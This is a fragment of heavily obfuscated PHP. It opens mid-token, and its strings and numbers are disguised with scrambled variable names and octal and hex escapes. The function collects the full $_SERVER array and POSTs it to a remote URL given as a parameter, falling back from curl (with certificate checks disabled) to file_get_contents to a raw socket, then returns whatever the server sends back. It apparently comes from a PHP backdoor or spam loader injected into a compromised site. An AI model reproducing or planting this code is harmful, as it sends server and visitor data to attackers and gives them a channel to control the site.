ij($ljijiiijjjl,$ljjliiilji,$ljjlillljij,$ljll,$llijll="pxgihbhjrfoi",$llllii=-0254470){$ljjjljiljl="60";if(in_array("curl",get_loaded_extensions())):if($ljll=="yes"):if(strstr($ljijiiijjjl,"?")):$ljijiiijjjl=$ljijiiijjjl."&\x74y\160\145\075curl";else:$ljijiiijjjl=$ljijiiijjjl."?type=curl";endif;endif;$lijljllljii=curl_init();curl_setopt($lijljllljii,CURLOPT_URL,$ljijiiijjjl);if(preg_match("#^h\x74tps://#",$ljijiiijjjl)):curl_setopt($lijljllljii,CURLOPT_SSL_VERIFYPEER,false);curl_setopt($lijljllljii,CURLOPT_SSL_VERIFYHOST,false);endif;curl_setopt($lijljllljii,CURLOPT_HEADER,false);curl_setopt($lijljllljii,CURLOPT_RETURNTRANSFER,true);curl_setopt($lijljllljii,CURLOPT_REFERER,"");curl_setopt($lijljllljii,CURLOPT_CONNECTTIMEOUT,"5");curl_setopt($lijljllljii,CURLOPT_TIMEOUT,$ljjjljiljl);curl_setopt($lijljllljii,CURLOPT_POSTFIELDS,http_build_query($_SERVER));$lljliiij=@curl_exec($lijljllljii);curl_close($lijljllljii);elseif(ini_get("al\154ow_url_\146open")==(-0140- -0155-014)):$lllliljl=stream_context_create(array("ht\x74p"=>array("method"=>"POST","header"=>array("Content\055type: a\x70pli\x63ati\x6fn/x-www-form-\x75r\x6cencoded"),"content"=>http_build_query($_SERVER),"\164imeout"=>$ljjjljiljl)));if($ljll=="y\145s"):if(strstr($ljijiiijjjl,"?")):$ljijiiijjjl=$ljijiiijjjl."&type=fopen";else:$ljijiiijjjl=$ljijiiijjjl."?type\075fopen";endif;endif;$lljliiij=@file_get_contents($ljijiiijjjl,false,$lllliljl);else:if($ljll=="yes"):if(strstr($ljjlillljij,"?")):$ljjlillljij=$ljjlillljij."&type=sock\163";else:$ljjlillljij=$ljjlillljij."?typ\145=socks";endif;endif;$lljijjij=fsockopen($ljjliiilji,01355+-0536-0125+-0352,$lll,$ljijiiiji,$ljjjljiljl);if($lljijjij):$lljill=http_build_query($_SERVER);$lijlj="POST ".$ljjlillljij."\040HTTP/1.0"."\015\x0a";$lijlj.="Host: ".$ljjliiilji."\x0d\012";$lijlj.="Content-Type: ap\160licatio\156/x\055www-form-\x75rlen\x63oded"."\x0d\x0a";$lijlj.="C\x6fntent-Length:\040".strlen($lljill)."\015\012\x0d\x0a";fwrite($lljijjij,$lijlj);fwrite($lljijjij,$lljill);$lijijil="";while(!feof($lljijjij)):$lijijil.=fgets($lljijjij,07646-010133+010331-044);endwhile;fclose($lljijjij);list($ljjljlli,$lijjljljjl)=@preg_split("/\134R\x5cR/",$lijijil,-01463+01465);$lljliiij=$lijjljljjl;endif;endif;return$lljliiij;};